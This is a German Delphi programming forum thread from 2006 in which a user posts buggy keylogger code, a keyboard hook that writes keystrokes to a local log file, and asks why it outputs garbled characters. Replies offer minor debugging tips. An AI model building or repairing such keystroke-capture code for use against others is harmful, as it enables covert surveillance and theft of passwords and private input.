You are not logged in.

  • Login

Dear visitor, welcome to Coder Forum. If this is your first visit here, please read the Help. It explains in detail how this page works. To use all features of this page, you should consider registering. Please use the registration form, to register here or read more information about the registration process. If you are already registered, please login here.

1

Thursday, May 25th 2006, 7:17pm

Array-Daten zu String zusammensetzen?

Hallo!
Ich versuche mich gerade zu Übungszweicken(wirklich keine schlechten absichten) an einem Keylogger. Ich habe ein Array, das mit Daten vom Typ byte gefüllt ist. Dem Array werden die Daten aus wParam zugewiesen. Diese Daten versuche ich jetztz einzeln in Buchstaben umzuwandeln und zu einem einzigen String aneinander zu reihen. Den String wird dann in einer TextDatei ausgegeben. Jedoch kommmen keine vernünftigen Buchstaben raus sondern immer irgendwelche komischen Zeichen: z.B.: $$$$$ Hier mal der Code:
[delphi]
function GKeyBoardHook(code: integer; wParam: word; lParam: longword): longword;stdcall;
var
Log: TStringList; //Log-Datei
KeyString: String;
KeyArr: array [0..44] of byte; //Array für die Tasteneingaben; Chr braucht byte
z: integer; //FOR-Schleifenvariable
begin
case Code < HC_ACTION of
True: //Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
else
//lParam Flags
if (lParam and $80000000)= 0 then begin
//HIER BEGINNT DER EIGENTLICHE CODE
Log := TStringList.Create; //virtuelles Objekt (Datei) wird erzeugt
Log.LoadFromFile('c:\Log.txt');
KeyArr := wParam;
i := i+1;
if (i = 1) then begin
for z := 0 to 1 do begin
KeyString := KeyString + Chr(KeyArr[i]);
end; //end der for schleife
Log.Add(KeyString);
i := 0;
Log.SaveToFile('c:\Log.txt');
end //end der if clausel
else
Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
end;
end;
end;
[/delphi]

Was läuft da schief bzw. wie kann ich des anders machen?

thx und mfg
Paddymann

2

Friday, May 26th 2006, 12:49am

Kannst du den Code bitte nochmal mit Einrückung und richtigen BBCOde posten? ;)
SO kann ich da recht wenig erkennen...

3

Friday, May 26th 2006, 11:39am

klar gern:


Delphi Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function GKeyBoardHook(code: integer; wParam: word; lParam: longword): longword;stdcall;
var
Log: TStringList;   //Log-Datei
KeyString: String;
KeyArr: array [0..44] of byte;  //Array für die Tasteneingaben; Chr braucht byte
i: integer;//Arrayvariable
begin
     case Code < HC_ACTION of
          True: //Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
     else
         //lParam Flags
         if (lParam and $80000000)= 0 then begin
            //HIER BEGINNT DER EIGENTLICHE CODE
            Log := TStringList.Create;     //virtuelles Objekt (Datei) wird erzeugt
            Log.LoadFromFile('c:\Log.txt');
            i := i+1;
            KeyArr[i] := wParam;
            if (i = 7) then begin
               for i := 0 to 7 do begin
               KeyString := KeyString + Chr(KeyArr[i]);
               end;   //end der for schleife
            Log.Add(KeyString);
            i := 0;
            Log.SaveToFile('c:\Log.txt');
            end  //end der if clausel
            else
            Result := CallNextHookEx(KeyBoard_HookHandle, Code, wParam, lParam);
         end;
     end;
end;

4

Saturday, May 27th 2006, 10:59pm

kommen irgendwelche fehlermeldungen?

ich sehe nämlich nicht, dass vor
i := i+1;

irgendein wert der variable i zugeordnet wird.

5

Sunday, May 28th 2006, 10:26am

Delphi Quellcode

1
i := i+1;

kannst di auch abkürzen:

Delphi Quellcode

1
inc(i);

Similar threads

Social bookmarks